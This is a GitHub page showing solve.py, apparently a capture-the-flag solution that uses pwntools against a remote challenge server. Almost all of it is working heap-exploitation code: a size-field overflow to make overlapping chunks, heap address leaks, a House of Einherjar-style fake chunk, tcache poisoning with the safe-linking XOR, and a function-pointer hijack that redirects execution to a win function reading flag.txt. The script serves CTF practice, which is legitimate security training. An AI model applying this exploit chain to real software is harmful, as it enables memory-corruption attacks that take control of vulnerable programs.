-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsolve.py
301 lines (205 loc) · 6.23 KB
/
solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long
import math
import time
elf = ELF("./bin/out")
proc = remote("tjc.tf", 31244) #elf.process()
print(proc.recvuntil(b"3.14159\n"))
def delay(func):
def _delay(*args, **kwargs):
time.sleep(0.0)
return func(*args, **kwargs)
return _delay
blocks = {}
@delay
def alloc(n, name, default = False):
center_rho = n
center_phi = (math.pi / 3.1)
center_theta = 0
rho_stride = 1.0001
phi_stride = 1 / center_rho
theta_stride = 1 / (center_rho * math.sin(center_phi))
d_rho = n
d_phi = phi_stride
d_theta = theta_stride
rho = center_rho - d_rho / 2
phi = center_phi - d_phi / 2
theta = center_theta - d_theta / 2
voxel_vol = center_rho * center_rho * rho_stride * math.sin(center_phi) * phi_stride * theta_stride
if (not default):
#print(rho, phi, theta, d_rho, d_phi, d_theta)
load = "mkchunk\n" + str(rho) + "\n" + str(phi) + "\n" + str(theta) + "\n" + str(d_rho) + "\n" + str(d_phi) + "\n" + str(d_theta)
proc.sendline(bytes(load, "UTF-8"))
#proc.recvline() #Dying...
retted = int(str(proc.recvline().replace(b"New chunk made at idx: ", b"").replace(b"\n", b""))[2:-1])
blocks[name] = retted
else:
load = "mkchunk\n" + str(-1)
proc.sendline(bytes(load, "UTF-8"))
#proc.recvline() #Dying...
retted = int(str(proc.recvline().replace(b"New chunk made at idx: ", b"").replace(b"\n", b""))[2:-1])
blocks[name] = retted
#addr = int(str(proc.recvline().replace(b"\n", b""))[4:-1].zfill(16), 16)
#print(name, "vert ptr:", hex(addr))
#return addr
@delay
def write(name, pos, val):
global blocks
idx = blocks[name]
load = "write\n" + str(idx) + "\n0\n0\n" + str(pos) + "\n" + str(val)
proc.sendline(bytes(load, "UTF-8"))
@delay
def read(name, pos):
global blocks
idx = blocks[name]
load = "read\n" + str(idx) + "\n0\n0\n" + str(pos)
proc.sendline(bytes(load, "UTF-8"))
line = proc.recvline()
#print("Line:", line)
line = (line.replace(b"Voxel type is: ", b"")).replace(b"\n", b"")
return int(str(line)[2:-1])
@delay
def dealloc(name):
global blocks
oldidx = blocks[name]
blocks.pop(name)
proc.sendline(b"delchunk\n" + bytes(str(oldidx), "UTF-8"))
#print(proc.recvline())#Dying...
#proc.recvline()
@delay
def info(name):
global blocks
pos = blocks[name]
proc.sendline(b"info\n" + bytes(str(pos), "UTF-8"))
print(proc.recvline())
@delay
def heapChunk():
proc.sendline(b"heapChunk\n")
heapi = proc.recvline()
@delay
def unHeapChunk():
proc.sendline(b"freeChunk\n")
addr = proc.recvline()
@delay
def mupdate():
proc.sendline(b"mupdate\n")
print(proc.recvline())
def dealloc_all():
unHeapChunk()
while blocks:
dealloc(list(blocks.keys())[0])
def write_bytes(place, pos, byt):
for i in range(len(byt)):
write(place, pos + i, byt[i])
def read_bytes(place, pos, num):
bout = b""
for i in range(pos, pos + num):
bout += long_to_bytes(read(place, i))
return bout
win_addr = int(str(proc.recvline()[:-1])[2:-1])
char_arr = int(str(proc.recvline()[:-1])[2:-1])
print("Win, char:", hex(win_addr), hex(char_arr))
verts_offset = 88
noisegen_offset = 80
updater_offset = 72
init_size = 0x78
# attack chunk
# We will overwrite to get heap and stack leek
# We will also use this to redirect ->update()
alloc(init_size, "a")
# Weak chunk; will be clobbered
alloc(0x10, "b")
# We will read from this chunk the heap and stack leek
alloc(init_size, "reader")
# SphereChunk size + 17
attack_block_size = 0x70 + 17
# Overflow b size FROM 0x10 to 0x71
write("a", init_size, attack_block_size)
# Free b
dealloc("b")
# new chunk should overlap w/ reader
# print(attack_block_size - 17)
heapChunk()
#alloc(attack_block_size - 17, "overlapped")
bstr = read_bytes("reader", verts_offset - 0x20, 8)
# To reverse endianness
n_verts_addr = bytes_to_long(bstr[::-1])
print("N_verts at", hex(n_verts_addr))
bstr = read_bytes("reader", noisegen_offset - 0x20, 8)
#dealloc_all()
# To reverse endianness
noisegen_addr = bytes_to_long(bstr[::-1])
print("noisegen_addr at", hex(noisegen_addr))
alloc(0x18, "idr2")
you_addr = 32 + n_verts_addr
alloc(0x28, "idr1")
me_addr = 64 + n_verts_addr
alloc(0x18, "you2")
alloc(0x28, "me2")
alloc(0x38, "they")
they_addr = 192 + n_verts_addr
#indirection level 1
idr_l2 = you_addr
idr_l1 = me_addr
idr_l0 = win_addr
write_bytes("reader", updater_offset - 0x20, p64(idr_l2))
write_bytes("idr2", 0, p64(idr_l0))
#write_bytes("idr1", 0, p64(idr_l0))
alloc(0x38, "they2")
alloc(0x38, "they3")
# HOE
target_addr = char_arr & (~0xff)
print("Target_addr:", hex(target_addr))
#dealloc("you2")
#dealloc("me2")
known_a_chnk_addr = alloc(0x38, "hoe_a")
#info("hoe_a")
# empirically, the fake chnk is 384 bytes past the n_verts_addr
a_addr = 384 + n_verts_addr
#print(known_fake_chnk_addr - n_verts_addr)
#assert known_a_chnk_addr == a_addr
alloc(0x28, "hoe_b")
known_c_addr = alloc(0xf8, "hoe_c")
#attack c size ptr
write("hoe_b", 0x28, 0)
c_addr = 496 + n_verts_addr
#print(known_c_addr - n_verts_addr)
#assert known_c_addr == c_addr
fake_size = 0xffff_ffff_ffff_ffff & (c_addr - 16 - a_addr)
print("Fake size:", hex(fake_size))
fake_chunk = p64(0) + p64(fake_size) + p64(a_addr) + p64(a_addr)
# Set fake chunk of a certain size, set prev_size of b to same value
print("Fake chunk:", " | ".join([fake_chunk[i:i+8].hex() for i in range(0, len(fake_chunk), 8)]))
write_bytes("hoe_a", 0, fake_chunk)
bstr = b""
for i in range(8):
bstr += long_to_bytes(read("hoe_a", i + 16))
print("A-addr in mem", hex(bytes_to_long(bstr[::-1])))
assert len(fake_chunk) < 0x38
write_bytes("hoe_b", 0x28 - 8, p64(fake_size))
#tcache poison
for i in range(7):
alloc(0xf8, str(i) + "_tcache_poison")
for i in range(7):
dealloc(str(i) + "_tcache_poison")
# dealloc c, consolidate w/ b
dealloc("hoe_c")
#fake chunk size should be diff now...
bstr = b""
for i in range(8):
bstr += long_to_bytes(read("hoe_a", i + 8))
print("A-size after C free in mem", hex(bytes_to_long(bstr[::-1])))
known_d_addr = alloc(0x158, "d")
alloc(0x28, "pad")
dealloc("pad")
write("hoe_a", 0x38, 0x31)
dealloc("hoe_b")
d_addr = 400 + n_verts_addr
#assert known_d_addr == d_addr
word = p64(target_addr ^ ((d_addr + 0x30) >> 12))
write_bytes("d", 0x30, word)
alloc(0x28, "garbo")
alloc(0x28, "cow")
write_bytes("cow", 0, b"flag.txt")
print("Set and now spike it!")
mupdate()